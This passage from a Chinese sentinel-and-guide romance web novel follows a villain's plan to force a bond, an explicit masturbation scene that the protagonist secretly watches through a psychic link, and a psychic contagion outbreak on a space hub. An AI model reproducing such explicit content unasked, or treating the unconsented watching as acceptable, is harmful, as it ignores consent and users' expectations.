“那不然呢？让我眼睁睁地看着这一个前所未有的机遇从我眼前溜走吗？你知道联盟出现上一个S级‘寻道者’是多久以前了吗？足足超过了一百五十年！在江寻出现之前，曾经出现过多少比我还要强大的天之骄子？即使是强如联盟元帅，狠如布瑞克家的瑟琳娜家主，终其一生都没有遇到过这样的好运气。” “而他恰恰出现在我最年轻、最强大的时候！他就是上天赐予我走上联盟顶点最好的阶梯！我怎么可能让这样的机会被别人夺走？！我伊莱·凡纳天生就该站在顶点，这世上最好的东西，就应该尽入我手，即使这个江寻那种促使哨兵再次进化的潜力只能用一次，也应该用在我伊莱身上！如果这世上只能出现一个SS级哨兵，那必定是我伊莱·凡纳！” 伊莱眼中灼灼的光芒与身周沸腾不知不觉沸腾起来的威压，压迫地劳伦斯猛地倒退一步，脚下一晃半跪了下来。 他的面色惨白，在伊莱的领域覆盖下，心肝俱颤，再也发不出一点儿声音。 “哼！想要站在更高的位置上，怎么可能不冒些风险。可笑我父亲在外面下的那些小崽子，还把眼光就放在区区一个凡纳家主的位置上。我与他们这些人所求的，根本就不是同样层次的东西。” 伊莱的面色渐渐平静下来，却更加坚定了。他整了整自己的衣领，重新转过身去，优雅地坐了下来。 “别担心，只要我能在这段时间里，让他心甘情愿地跟了我，那么最终的结果，就不会太糟，不是吗？”伊莱意有所指地说道，眼底闪烁着势在必得的光芒，“如果情势急转直下，甚至连父亲都放弃我，那我就直接强制成为他的绑定哨兵。到时候，木已成舟，他们难道会因此杀了我这个前所未有的SS级哨兵不成？就算是江寻不愿意，为了保住我们两个人，那些大人物也不得不为我把这件事的后续后果抹平。” “是要一个再也不能与他人绑定，也不能接受其他人精神补偿的残缺S级向导；还是一个完整的S级向导和一个SS级哨兵，所有人心里都知道该怎么选。” 伊莱唇角一弯，露出一抹尽在掌控中的笑容。 * 搅动一切的风暴还未能吹动江寻的衣角。 傍晚，在愈灵殿中完成了惯例的两小时劳动服务后，江寻辞别仍在盯着数据的尼克斯组长，在对方不耐烦地挥手中离开，重新回到了湖畔区的住所。 走在湖边蜿蜒的小径上，远远望去，那所别墅沉浸在静默无声的黑暗里，与昨夜之前灯火通明的景象截然不同。 江寻甚至还能想起那人驻足在窗边的影子，开门迎上自己的灿烂笑脸。 不过分开一日，他竟然就已经开始思念陆厌离了。 他此时甚至都有些难以想象，自己是怎么度过与他分离的那一年时光的。 叹了口气，只有他一个人，他连晚餐也懒得做，随意取了些速食一个人冷冷清清的吃完，完成了圣所今日的课程作业，又闲不下地将本就整洁的屋子重新收拾了一遍。 待把所有能做的事情都做完，抬头一看时间，居然还不到晚上九点钟。 江寻又想叹气了。 站在屋子正中间，竟然不知道还要去做什么。 索性取了睡衣早早沐浴洗漱，关掉所有灯具，直接躺上了床。 江寻睁着双眼看着天花板，有些发愣。右手向旁边摸去，却是一片空荡冰冷。 宽大的双人床上，只是因为缺少了另一个人的体温与气息，便显得格外空旷寂寥。 江寻强迫自己闭上双眼，静静躺了半天，却毫无睡意。 白天看过的那些关于完全绑定、刻印的资料在脑海中纷至杳来，其中混杂着他们两人在荧珠星上互许终身的画面，爱人的种种模样从脑海中不停闪过，江寻在此时，忽然冒出个念头来。 他想看看陆厌离，通过那扇“门”看看他。 这个想法一旦从心底生出，便像是有了难以抗拒的诱惑力一般，蛊惑着江寻，让他不由去想象其中的可能性。 江寻翻了个身，面对着床上空出来的那半边。抬手在空荡的床铺上摸了摸，下定了决心。 他缓缓闭上双眼，让自身的精神力调动起来，慢慢去感应那道与遥远的彼端始终相连着的“门”。 如水的精神力缓缓从他身体里流淌出来，蔓延向整个房间，江寻的意识在一阵恍惚之后飘飘荡荡地上升，向着那个一直吸引着他的方向飘飞过去。 初时并不能清晰地感应到那扇“门”的所在，可当弥漫在空气中的精神力越发浓厚之后，一个虚掩着的“通道”便非常明显的出现在了感应之中。 这一次，他只是想看一看陆厌离如今的所在，并不打算给他输送精神力过去。甚至，出于一种不好意思的心态，他都不想让陆厌离发现自己的到来。 他没有像之前的时候一样，使用大量精神力去强行撬动门扉，而是缓缓探出精神力触手，带着探寻的意味，一点点在那扇“门”上触碰、延展，最终完全笼罩住这扇“门”的内外。 悄悄推开一条缝隙，将意识压缩成一条无形的光带，顺着那缝隙潜入了进去，沿着那条横跨过无限宇宙空间的精神通道，一路流向彼端。 顺应着灵魂的呼唤，向着通道的尽头奔涌而去。 随即，意识一重，一股巨力袭来，整个人被一种熟悉的感觉拉了下去。江寻只觉眼前一暗一明，他“睁开”了眼睛。 * 飞往M28星域的穿梭舰“启明星”号正在跃迁通道中迅速通行着。昂首冲破一层空间的帷幕，在一片广袤无垠的星空中跃了出来，随后速度慢慢降下，进入平稳的航线中。 舰内训练区中，一个个模拟训练舱也在一阵低沉的嗡鸣声中停止了运作。 舱门滑开，陆厌离从中坐了起来。 高强度的训练任务，令他的额发完全被汗水浸湿，缕缕银灰发丝紧贴在脸颊上，有滴滴细密的汗珠顺着发梢与下颌的弧度，慢慢滑下。他还穿着覆盖全身的墨蓝色贴身战斗服，洇湿的特种布料更加紧贴在他的肌肉骨骼上，勾勒出一道瘦削却流畅坚韧的完美线条。 训练区中其他的训练舱外，小队成员们或坐或靠，个个气喘吁吁，外表比陆厌离要狼狈得多，但无一人出声抱怨，反而看着自己队友的模样哈哈大笑起来，不时打趣一两句，换来一个佯怒的拳头。 陆厌离打开旁边的中控系统，调出这一次训练记录，快速浏览一遍每个人的训练数据。几分钟后，冷淡的脸上露出一丝满意的神色，点了点头。 正当他准备解散队伍，结束今天的训练任务时，训练室大门一响，向着两边滑开，林莫穿着一身与众人格格不入的白色轻薄便服，慢悠悠地踱步走了进来。 扑面而来的汗腥味，让他嫌恶地皱了皱眉。而后，林莫强迫自己压下心头那股不耐，挂上一个淡淡的笑容。 目光扫过那些浑身被汗水浸湿的哨兵们，视线不易察觉地在几个身材突出、面容姣好的队员身上停留了一下，这才带着些关切开了口：“诸位不愧是第八军团中的精英，连平时的训练都这么刻苦。” 他的声音温和，可配上他眼底掩不住的一点嫌恶，有种言不由衷的虚假感：“不过任务之前消耗这么大，是不是不太好？会不会影响到明天的状态呢？” “如果各位感觉自己的精神力消耗太大，又或者是过于躁动，可以来找我。我会为大家提供一些必要的疏导治疗，帮助各位更快恢复状态。” 林莫说着话，恰到好处地露出一点矜贵与羞涩，看向众人的眼神，带着些许心照不宣的意味。 而他的邀请，果然令好几个刚刚经历了高强度的体能消耗，血脉偾张的哨兵，眼睛亮了起来。有几个身材很好的，甚至下意识地挺直了脊背，想要在林莫面前展露出自己最棒的一面。 开玩笑，这可是个B级的高级向导。 就算他们自己也都是高等级哨兵，可在军部这种苦哈哈的地方，向导本来就少，像林莫这种年轻漂亮，前途远大的高级向导更是少之又少。 平时他们偶尔能见到一个都能回去吹一波，根本连追求他们的资格都没有，哪见过这样主动来邀请他们的？ 一时之间，众人纷纷心猿意马，偷偷在心里期盼起来。 敏锐地察觉到室内的气氛因为林莫的一句话瞬间改变，陆厌离的眼神冷了下来。 他上前一步，恰恰挡在林莫面前，左右扫视一圈众人。 与他目光对上的士兵，纷纷面色一凛，重新严肃起来。 “全体——立正！” 霎时间，根植在骨子里的纪律性苏醒，所有的哨兵条件反射般在一秒内并腿站直，双手压在裤缝两侧。脸上刚刚松懈下来的表情完全被严肃认真取代。 陆厌离微转过身来，看向身后的林莫：“多谢林莫向导的关心，不过，我的队员们今天只进行了常规的体能训练，还没有到达需要进行疏导治疗的程度。任务即将正式开始，我也不会让他们在此时无谓消耗精神力。我会确保小队以最佳的状态参与任务。您的好意，我们心领了。不过，还是按照规定，等任务结束了，再为他们疏导吧。” 说完，不管因为他的插入脸色瞬变的林莫，锐利的目光重新扫过自己的队员，声音低沉下来，其中蕴含着明晃晃的警告：“你们都不是新兵了，军部的禁令，我相信都刻在你们的脑子里。你们私下里不管是放浪形骸也好，洁身自好也罢，我都不管，但在任务期间，所有人都必须恪守军部的行为规范，严禁与任何人发展出超出常规的私人关系。” 陆厌离慢慢地环顾一圈，冰冷的目光从他们每一个人的面上掠过：“这一点，我希望你们每个人都能牢牢地记住！” 刚刚生出的一点点绮念在此刻瞬间消散，队员们神色一正，齐声应道：“是！长官！” 陆厌离审视的目光在每个人脸上又停留了片刻，确认自己选出的这帮队员的确不愧他们丰富的履历，这才满意点头，下令道：“好了，今天的训练到此为止。明早七点，所有人准时在登陆准备区集合，解散。” 队员们再无一人去看站在陆厌离身后的林莫，快速地从训练室中鱼贯而出。 林莫站在原地，眯了眯眼，深深看了陆厌离一眼，嘴角勾起一个意味不明的弧度，轻哼一声，没有再说什么，施施然转身，跟着最后离开的士兵一起走出了训练区的大门。 陆厌离看着他的背影渐渐远去，目光更冷下来。 停留了片刻，抬手用肩膀上的毛巾擦了把脸颊上滑下的汗水，又随意地把毛巾丢在一边。不再去想这个目的不明的向导，径直走向自己的独立舱室。 回到舱室里，陆厌离没急着去洗澡，而是先在书桌旁坐下，一丝不苟地记录下今天的航行日志、当前星域的坐标与所有队员的表现。写完之后回忆一遍，确认所有必要的信息都已经记录在任务日志上，才关闭了界面，揉了揉眉心。 闭上眼，今天从林莫出现为止，一直到刚才那明显带着挑拨与试探意味的举动再次浮现在脑海中。 这个人的目的到底为何？如果他是专门来给他造成麻烦的，那不是应该在此时先隐藏好自己，关键时候再反戈吗？这么明晃晃地将自己的恶意表露在外，对于自己来说，反而造成不了太大的伤害。他到底想干什么？是被谁派来的？ 陆厌离思索片刻，却丝毫理不出头绪，只能警醒自己，对他时刻提高警惕。 暂时把这些烦恼抛掷在脑后，他从抽屉里随意取了一支营养膏咬破外包装，把里面无甚味道的泥状物囫囵吞下，信手将外面套着的作训服脱下，丢在椅子上，按动扣在后颈上的战衣收纳盒。 随着按钮按下，覆在他身上的那层紧身墨蓝战斗服，如花瓣一样寸寸分裂开来，被收纳盒的力量一扯，迅速抖落上面沾染的汗渍重新收缩回细如发丝的骨架中，翻卷着被收纳起来。 陆厌离赤着身子，拎起浴巾，向着自己的独立浴室走去。 穿梭舰上空间有限，所谓的浴室当然也没有平日里那么宽敞。整体只有一立方米见方，喷头直接内嵌在墙壁里，打开开关便能按照调节好的温度喷出含有高效沐浴液的气雾来，只用几分钟时间，便能完成一套从头到脚的清洁工作。 陆厌离闭上眼睛，站在其中，在温暖的气雾中，神经缓缓放松下来。因为烦闷变得有些躁动的精神力也重新安静了下来。 洗完澡后，附带的烘干系统继续工作，以热风舒缓地带走身上的潮湿。 但陆厌离向来对这些不必要的享受没什么耐心，等身上的水珠被带走便不再停留，自己拎着毛巾随意擦拭几下头发，就向外走去。 路过外间的洗漱池时，无意间抬眼，却透过嵌在浴室门上的那面光可鉴人的军容镜，清晰地看到了自己如今的姿态。 从耳后颈侧，到锁骨胸膛、腰腹胯骨，乃至他的整个大腿内侧，都遍布着星星点点的红紫色痕迹。一些痕迹集中的地方，颜色甚至隐隐发青。特别是腰侧、大腿根的某些地方，还残留着清晰的青紫指印。陆厌离脸有些热，微微侧过身去，发现背上也是如此。 这些，全部都是江寻在他身上留下的印记…… 陆厌离的呼吸稍稍急促起来，向着镜子走进两步，一双眼睛被镜中的自己完全吸引住。指尖抬起，轻轻抚过胸肌下沿五个格外明显的指印，按照指印的位置，将自己的手指覆了上去，微微一用力。 霎时，那双修长苍白的手指好似在自己眼中整个放大了一圈，化为一双更加巨大而有力的麦色大手。 随即，记忆中的画面飞快在脑海中甦醒过来。 陆厌离深喘一口气，眼睛迷蒙起来，目光被那双麦色的大手紧紧吸引住。 他看着那双大手按压、紧抓、揉动、推拉，再慢慢往上爬上去，指缝夹住柔韧的一点，狠狠一拉。 “唔……”一点疼痛从胸前袭入脑海，混乱而炽热的画面如潮水般在这一刻统统在眼前重新浮现。 紧扣住他腰侧的手，啃|噬在滚烫皮肤上充满着占有欲的嘴唇，那双在情动时格外深邃而威严，仿佛能将他的灵魂全都吸进去的眼睛，晃动个不停的视野，以及耳边不断传来的拍打声与崩溃哭叫。 “江寻……”陆厌离低喘一声，轻轻唤了一声，声音在狭小的舱室里回荡，显得格外清晰。只是两个字，其中却带着几乎要满溢而出的渴念。 他抬起头来，仿佛看到了那个在身后紧紧环抱住他，在他身上爱抚的男人，对方低下头来，在他颈侧留下一吻，随即，与他在镜中深深对视。 陆厌离脸上浮现出一个喜悦的笑容，慢慢紧贴过去，温热的双唇如同朝圣一般，小心翼翼地吻上镜中那人。 这仿佛是一个开关，理智的堤坝在甜蜜的记忆与思念形成的浪潮前悄然溃散。 第229章 陆厌离紧贴上冰冷的镜面， 前方冷冽平整的触感，马上又令他想起另一份迷乱的记忆。 记忆的甦醒，带动着他的身体也回忆起了当时的滋味， 从最深处涌出一股难以抑制的热流来。 温泉般的热流顺着细细经脉流经全身，温暖了被镜子冰得稍稍麻木的皮肤，让他止不住微微战栗起来。 他的视线变得有些模糊，一种奇异的错觉弥漫开来。仿佛又回到了那个新年的下午， 玻璃幕墙之前。而江寻就在这里， 就在他的身后， 用着那双漆黑的眼睛一寸寸逡巡过他的身体，把他死死按在玻璃上， 勾起他的膝弯…… 陆厌离全身紧贴在镜子上，好像真的有一个力道按压着他，挤得皮肉都变了形。一口口喘息， 将滚烫的吐息喷在面前的镜面上， 模糊了视线，也模糊了镜中人。 在这种半是清醒，半是迷蒙的幻象驱使下， 陆厌离湿润了眼眶， 微仰起头， 唇瓣蠕动着， 舌头徒劳地翻搅， 仿佛在回应身后那个不存在的恋人。 他的眼睛凝视在镜子上， 似乎看到那双麦色大手沿着斑驳的印记四处游移着， 与那些青紫印记一一重合起来，毫不留情地将一道道正在淡去的痕迹重新加深。渐渐往下，潜入痕迹最密集的阴影中…… * 视野一亮， 面前的景象在一阵如涟漪般的波动后渐渐清晰。 成功了。 江寻一阵欣喜。 当感知完全清晰之后，他发现自己再次“附身”在了一人身上。 周围是熟悉的金属墙壁，空间很小，水汽弥漫，而余光中，他正附身的这人，似乎正全身赤|裸。 江寻脸一红，有点糟糕，来得似乎不是时候，陆厌离好像正在沐浴。 没等他犹豫是不是要趁着对方没发现的时候断开链接，陆厌离已经顶着毛巾，踏出了浴室。 往外走时，江寻一眼看到浴室冰冷的金属大门上嵌着一个全身镜。他顺着身体主人的视角，偷偷看向镜子，想透过镜面一窥陆厌离的模样。正在此时，身体的主人却也好似与他心意相通一般，在镜子面前停下了脚步。 一眼看到爱人的身影尽入眼帘，江寻心中暖融，不自禁露出一抹微笑来。可看着对方面上冷冷淡淡的表情，眼睛里空荡荡的情绪，又从心底生出些心疼来。只是离开一天，他似乎又回到了之前的模样。 真正见到人了，江寻心中放松下来。 沐浴完了，他应该要去睡觉了吧？那就陪他到睡着再走吧。 江寻如此想着，也不着急了，视线投向面前的镜子，趁着对方的停驻好好打量自家恋人。 这一看，却让他不好意思起来。 他身上怎么……留下了这么多印子。这……他们昨天有这么激烈吗？ 仔细回想一下，夜里光线昏暗，他没怎么看清，陆厌离又一直死命缠着他，什么话都往外说。的确刺激得自己有些……上头了。 此时看到自己的罪证，江寻在尴尬之余，心中却也生出些微妙的意动。 脑子里两个小人打起了架。 道德小人让他就此断开链接，可另一边却又嚷嚷着，他们是恋人，看看又怎么啦。 还没等两个小人打出结果来，江寻却发现陆厌离又动了。 他没有直接上床睡觉，似乎也是被自己身上的痕迹吸引到，居然走到了镜子前，仔细打量起来。 道德小人被按着打，江寻脸有点热，眼睛却丝毫无法错开。 陆厌离上下打量半晌，不知是觉得身上这些淤痕痛了还是痒了，伸手按上。 看着像是想揉开淤青，可指尖却用力得发白。 江寻的眼眸一瞬大睁，他……在做什么？ 第一视角无法直接看到那双手的动作，可面前的镜子令陆厌离所做的一切在江寻眼中一览无遗。 江寻目瞪口呆地看着对方的双手游移着。 一天之前留在陆厌离身上的青紫红痕，被他自己一点点抚过。 他……他在干嘛？之前弄疼他了？也不至于现在才开始疼吧？ 江寻咽下口水，是自己想的那样吗？ 直到对方喘息着贴上面前的镜子，小口小口急促呼吸起来，从唇边溢出一声颤颤巍巍的“江寻……” 江寻终于确定了此时的状况，心脏狂跳起来。 明明此时的状况比开始撞见对方正在浴室里洗澡更加尴尬，可江寻已经彻底不想离开了。 道德小人被彻底打死，连尸体都没留下。 他眼看着镜子中的人影双眼迷蒙起来，像极了在床|笫间的眼神。 陆厌离露出一个迷离的笑容，对着面前的镜子亲吻下去，唇边还不停呼唤着自己的名字。 江寻目不转睛地看着镜子里的人影，似乎正与那人对视着。 在他的注视下，镜中的人影，手掌舒张几下，手指蜷缩起来。 江寻的目光跟随着修长的手掌。 缓缓潜入阴影…… * 另一头，舰舱之中，外间引擎规律的嗡鸣声，完美掩住了舱内压抑的喘息声。 陆厌离这会儿丝毫不知道自己的一切正被人看了去，正紧咬着唇，急促呼吸着贴靠在镜子上。 幻梦中，一个个指节存在感鲜明。 陆厌离迷茫茫地半睁着眼睛，看向镜子，仿佛看到记忆中的人影在背后时隐时现。 他的胸口随着眼前的幻象急促地起伏着，使劲把自己挤在镜子上，仿佛在幻象中承载着对方的急躁。 “江寻……来……” 陆厌离对着镜子露出一个恍惚的笑意，仿佛看到了遥远星际另一边的爱人。 吮了吮自己的手指，一手按上胸口，一手扶上自己的腰际。 舱室外，晚归的队员打闹着经过，传入一阵隐隐的笑声。 声音传入陆厌离的耳中，引得他耳尖一颤，动作却丝毫未停。 指尖从皮肉上滑过，渐渐下移…… 看不见的阴影中，窸窸窣窣。 陆厌离低哼一声，意识模糊，身体紧绷得像是一张拉满的弓。 他只觉得心头像是有一把火在烧，无法排解。 难以忍受地贴着冰冷的镜子，却丝毫无法缓解他的痛苦，脸上的表情却越发难受。 江寻……我够不到……帮帮我…… 陆厌离神志昏聩，头昏脑涨。 额头一下一下磕在冰冷的镜面上，金属门扉砰砰作响。 带着一种急躁而不得章法。 江寻……不够……哪里不对…… 陆厌离额上焦躁地溢出汗水，声音里带上了一丝哭腔，指尖深深陷入皮肉里，带着一股泄愤般的力度。 可身体却始终像是被什么无形的东西阻碍着，徘徊在临界点的边缘上下求索，不得解脱。 这种焦躁感，反而让他心中裂开一个大空洞，一股又一股强烈的空虚感愈发强烈。 江寻在这头，早已被爱人的情状惹得心旌动摇。看着他的手指慢慢在下方的阴影中消失时，便明白了陆厌离这是在做什么。 一股混合着甜蜜爱恋与无奈好笑的情绪在心中飘荡着，发现自己的爱人也如他一般想念着自己，令他心中激荡不已。 他看着陆厌离紧绷起来的身体，看着那一道道被对方再次抓到青紫，遍布全身的印记，整个人都陷入一种无比巨大的满足里。 然而，渐渐的，链接那头的情势发生了一点微妙的变化。 一种憋闷的，难以释放的煎熬感顺着两人间的链接清晰地传递过来。眼前的视野晃动得越来越厉害，可镜子里陆厌离的表情却变得越发痛苦。一声声沉闷的喘息从胸腔里溢出，带着满满的挫败与渴望，却始终无法解脱。 江寻的心脏像是被轻轻揪了一下，又酸又软，随即又被更加汹涌而来的情潮淹没。 就在镜中的人影摇晃得越来越剧烈，满头汗水染上镜面，眼角隐见泪光时。 江寻突地露出个笑。 下一秒，鲜红的半边羽翼印痕，时隔许久，再次从陆厌离后腰上亮起。 一股熟悉到骨子里的精神力，如同溃堤的潮水般，毫无预兆地透过那半边小小的羽翼，奔涌进陆厌离的身体里。 什……么！ 庞大又熟悉的精神力洪流，如同汹涌而的潮水，一瞬冲刷过陆厌离全身，如黄钟大吕般轰然震动。 陆厌离眼眸猛地睁大，翠绿的瞳孔在极致的震惊刺激下收缩。下一秒，他的神志猛然清醒了过来，突然明白发生了什么。 “江……寻……？” 他的动作一瞬僵住，喉咙里那哼到一半的泣音化为难以置信的抽气声。 排山倒海般的羞耻感袭来，被正在臆|想的当事人看到自己这般狼狈的境况，令他陷入极度的慌乱中。 然而，他的躯体此时却反而因为这股极致的羞赧，不受控制地剧烈颤抖起来。 庞大的精神力顺着经脉汇入体内，伴着一种“被凝视”的羞耻感。 那个在一波波的冲击中始终无法突破的关卡，在此时被轻而易举地冲垮。 他是什么时候来的？从什么时候……开始看他的？ 陆厌离的思绪短暂地运转了一秒，紧接着，便被彻底冲散开来。 巨大的烟花在身体里炸开，瞬时蔓延到每一个神经末梢，席卷了他的每一寸感知。 陆厌离高高仰起头来，漆黑颈圈箍起的脖颈，拉出一道脆弱的弧线。一声长长的呜咽终于冲破所有的阻碍，响彻这间寂静的舱室。 同一时刻，大量精神力的失去，令江寻的“视野”开始渐渐模糊起来。意识也在黑暗空间中缓缓后退抽离。在彻底离开之前，他心中一动，以最后的精神力留下一道清晰的回响，轻轻投向陆厌离的精神空间之中，随后，周身彻底黑暗下来。 而另一头，陷入无法自控的快乐之中的陆厌离，清晰地从脑海中听到了一个声音。 不是通过耳朵，而是透过更加本质的精神链接遥遥传来。那声音有些模糊，却熟悉得深入骨髓。 一声了然的轻笑，伴着一句温柔低语。 【我看到了，我也很想你……】 真的是江寻！ 陆厌离脸颊爆红，巨大的羞耻感让他忍不住埋起头颅来，似乎这样就可以将自己全然隐藏起来，躲开那道跨越了星海注视过来的目光。 可与此同时，一种被江寻“凝视”着，被对方全然掌控在手中的奇异刺激感，混杂着对那人强烈的思念与依赖，反而在他心里催生出一种从未感受过的强烈意动。 仿佛连心中所有欲|望……都被对方全然掌控在手中。 陆厌离埋首在面前的镜子上， 他不知道对方还在不在，也不敢去问。 可只是一个“江寻仍然在看着他”的可能性，都让他心脏狂跳，浑身颤抖，脸颊滚烫。 刚才的余韵绵绵不断地因着这股强烈的触动，在他身体中冲刷而过。 一股难以启齿，却令他感觉整个人都被充满的安心感弥漫开来。 久久，陆厌离喘息着重新睁开了眼睛。 “江寻？” 他试探性地问了一声。 一室空寂，毫无回响。 陆厌离有些庆幸，又有些不舍地放松下来。 忽而腿上一凉，一点黏|腻滑下。 陆厌离喉结滚动，羞怒地低吼一声，转身再次回到了浴室里。 空气中，那道无形的“门”功成身退，在渐渐平息的精神波动中，重新隐没。 * 不为人知的角落里，炼风渐起。 两天后，傍晚，愈灵殿中。 宽广的大厅里人来人往，一半是前来接受治疗的哨兵，一半是医师与忙碌的研究员们。 江寻今日早早帮尼克斯组长完成了研究作业，溜达到了医疗区里给忙不过来的医师们搭把手。 刚刚完成对一位堕化值偏高的B级哨兵的疏导治疗，正在整理着病例记录，安宁平静的氛围，却被一声响彻大厅的警报声骤然打破。 大厅之中，有人面色骤变，有人不明所以，但不约而同的，所有人的动作都停顿了下来，注意力瞬间被主光屏上弹出的一道紧急通告所吸引。 【紧急通报】 【大型航道枢纽中心‘转轮天平’，远航级客运穿梭舰，发现不明原因精神污染泄露事件。疑似具备强传染性，威胁等级：星系级！属重大公共安全事故！经智脑阿波罗判定，联盟最高指挥部下令，由愈灵殿立刻介入支援！】 轰——！ 大厅内瞬间炸开，除了正在进行手术与疏导的医师，其他所有愈灵殿工作人员立刻动了起来。 纷繁的脚步声，呼喝声，仪器启动，通讯拨响的声音，在厅中交错响起。 江寻立刻放下手中的记录本，向着殿内快步走去。 刚踏入内门，便见尼克斯组长并愈灵殿中一众眼熟的主任、组长，跟随在脚步匆匆的现任殿主索珠身后，正快步向着会议室走去。 几份纸质报告单，在众人手中不断传阅着。 迎面见到江寻的身影，索珠停顿一瞬，对着他招了招手。 江寻立刻快步上前，汇入队伍中，与众人一起鱼贯进入了紧急会议室。 “情况紧急，出事的是一艘远航级客运穿梭舰，上面搭载的乘客数量过千，现在已经确认的出现中度至重度污染症状的病人已经超过五十名，并且病发人数正在快速增加，潜在污染人数未知，感染时间未知，病毒源体未知。并且这艘穿梭舰在之前的四十八小时内，已经途径了数个大型枢纽与航线重要星球，现在具体的污染扩散规模……未知。”索珠苍老的声音急促而艰涩。 “我们必须立刻采取行动，否则一旦这种未知污染大规模扩散开来，后果将不堪设想。”索珠环视众人一圈，面色严肃，“联盟要求我们立刻组建两支队伍，一队留在殿内，立刻根据传送回来的样本及实时数据，全力以最快时间研发出有针对性的特效药物，提出有效的净化治疗方案；另一队，马上出发前往转轮天平枢纽，对已经染病的人员进行现场医疗支援，并协助军部进行污染封锁控制。” 他的目光扫过众人，落在尼克斯身上：“留殿研究小队由尼克斯主导。尼克斯，你现在立刻挑选出一队成员，马上准备好全力研发治疗药物。相关数据资料与一名最先发病的患者，将于十分钟后抵达愈灵殿。” “是！”尼克斯组长立刻领命，点选出数名研究员后，马上脚步匆匆地向外走去。 索珠的目光再次转移，这一次，在犹豫了片刻后，停留在了江寻身上：“江寻向导，虽然你现在还不是愈灵殿的正式成员。可是，不管是临场净化能力，还是群体控制能力，你都是全联盟中最顶尖的。如今情况紧急，枢纽现场情况复杂，最需要的就是你这样的力量。但是，现在关于这一次的危机，我们已知的情报还非常少，无法保证你的安全。不知你是否愿意加入这一次的救援任务？” 会议室中顿时安静下来，众多目光在此时聚焦在了江寻身上。 而江寻，几乎是丝毫没有犹豫，当索珠的话音落下之时，已经迎上了他的目光：“我加入。” * 繁华美丽的“转轮天平”号空间枢纽上，如今被一种无形的恐慌气氛笼罩着。 往日里繁忙的众多航站楼，此时已经被全部关闭。 所有大小穿梭舰，在泊位上停成一排，全部滞留了下来。特别是停放在N48号泊位上的“晨曦号”客运穿梭舰，更是独占一区，被一道轻薄的防护罩完全隔离在内。 旁边就地搭建起了一小片集中医疗隔离区，所有已经被发现的患者都被集中在这片区域中。 身着全覆式防护服的工作人员行色匆匆地穿梭在枢纽站中，一边为确诊的患者提供基础医疗服务，一边不断检查着枢纽中其他乘客的身体数据，限制人员的流动，以防止污染的大规模扩散。 可是，转轮天平本身便是好几条重要星际航线的交汇节点，体量巨大，如今滞留在其中的人员，构成也相当复杂。枢纽站本身的生存资源与工作人员，完全无法承担如此重的压力。行使封锁措施时，更是举步维艰。 这样的情况下，当愈灵殿众人乘坐的穿梭舰抵达枢纽站时，立刻让所有人松了口气。 此次带队的组长也是江寻非常熟悉的一位愈灵殿医师——夏马尔，众人一落地，便马上按照规章穿戴好防护服，在夏马尔的带领下，直奔核心隔离区。 顾不上寒暄，一边快步向内走着，前来领路的枢纽站常驻医师，已经将最新的数据统计传送给了夏马尔。 被分发到小组公共频道中的报告单，令众人皆是心头一紧。 只是他们乘坐穿梭舰赶来的半天时间里，中重症人数，又增加了三十几名，轻症人数更是已经突破二百。 “夏马尔阁下，这边就是第一批发病的所有病患。”工作人员将众人领着一路向隔离区最深处走，那里的一片临时搭建而成的平房中，躺着十数个被高强度束缚带固定在医疗床上的病人。 江寻快走几步，近前查看。 在他面前的，是一名强壮的男性哨兵。 看挂在他床头上的病例显示，他是“晨曦号”上的一名水手，C级哨兵，今年只有二十六岁。 江寻看着病例上印着的那张阳光灿烂的面孔，丝毫无法与如今躺在自己面前的这名疯狂的哨兵联系在一起。 这位男性哨兵，此刻面目扭曲着，双眼赤红，瞳孔涣散无神。喉咙里不断发出意义不明的嗬嗬声，身体间歇性地挣扎扭动着，试图逃离束缚。 他的身上有不少仍在往外渗血的伤处，根据记载，都是抓捕他的时候留下的。然而，他似乎已经完全没有了对痛苦的感知力，仍在不管不顾地疯狂挣扎着。 时而狂暴地用头颅撞击着床板，时而发出一阵或是疯狂或是愉悦的大笑声。他的身体不停痉挛一般抽搐着，毒素已经让他对身体失去了自控，床单和衣物因为失|禁散发出阵阵恶心的臭味，整个人身上都洋溢着一股癫狂的气息，神志失控，仿佛沉溺在了某种令他放浪形骸的美梦中。 旁边的监测屏上，他的生命体征异常活跃，精神波动却杂乱无章，堕化值已经趋近60%的重度失控基准线。 江寻再看看旁边几人，具体的表现有稍许不同，但表现在监测屏上的数据，几乎全是一样的趋势。 最前方，夏马尔组长已经翻看着病患的瞳孔，总结起来：“患者全部为哨兵，五感彻底错乱失控，意识涣散，疑似沉溺在强烈的幻觉中，只剩下了自身被无限放大的本能欲望……” 夏马尔一边观察着，一边快速将所有表现记录在案。迅速观察过好几位患者之后，将他们共同的症状描述记录在案：“强攻击性、间歇性性亢奋、强烈的愉悦感、情绪极度亢奋……” “对身体本身未发现严重损害，但精神力完全失控，堕化值大幅度上升……”夏马尔翻看着这些病患以前的身体数据，与最新的数据对比着，“潜伏期……未知，发作期……五小时左右？” “是的，夏马尔阁下。”一边跟随的工作人员马上补充道，“更棘手的是，还没搞清楚这种病毒的传播媒介。但是初步怀疑，可能有飞沫传播或者空气传播。最重要的是，这种病毒在发作之前，我们现有的监测方法完全监测不出来。现在枢纽站滞留的上万名人员里，不知还隐藏了多少潜伏期的患者。” “没有任何迹象吗？”夏马尔的问题只得到一个叹息地摇头。 “不仅如此，我们转轮天平上常驻的医护人员在发现病毒之后，也尝试了多种常规的净化手段，但是全都效果甚微。这种病毒在患者体内表现出了强烈的活性与分裂特质，我们根本无法根除它。”工作人员头疼地说。 “啧！这怎么看起来更像是一种强效致幻剂？”夏马尔狠狠皱眉，看着面前的报告，眼神变得凝重—— 作者有话说：猫猫被当场抓包[让我康康] 第230章 江寻凝视着监测屏上患者那混乱的精神波动曲线， 又看向他们此时蒙昧混沌的双眼，眉头渐渐蹙了起来。 类似这样的症状……他曾经见过。 只不过，上一次见到时， 那种难缠毒素造成的表现，远没有现在这么激烈…… 他的心头猛然一凛。 之前在中央星遭遇那次毒素泄露事件时，他就猜测过，当时差一点儿就传播开来的那种毒素， 其实只是一种药物的中间产物。 现在看来， 引发这一次星际级公共安全事件的污染物， 无论是作用强度还是传染性都明显更强，应该就是基于当初那种毒素优化而成的完成品。 江寻没有犹豫， 马上将自己掌握的这个信息报告给了领队夏马尔组长。 虽然上一次的那种毒素，他也没有研制出相应的解毒剂。但有了当初那种中间毒素样本作为参考，他相信尼克斯组长那边， 应该能更快制造出适用的解毒剂来。 “你见过？”一听江寻的汇报， 夏马尔立刻重视起来。 果然，在这种紧急关头，面对着这种未知的毒素， 任何一点线索对于他们都至关重要。 仔细询问了江寻当时的事件记录与他的应对策略， 夏马尔随后立即接通了索珠殿主的通讯， 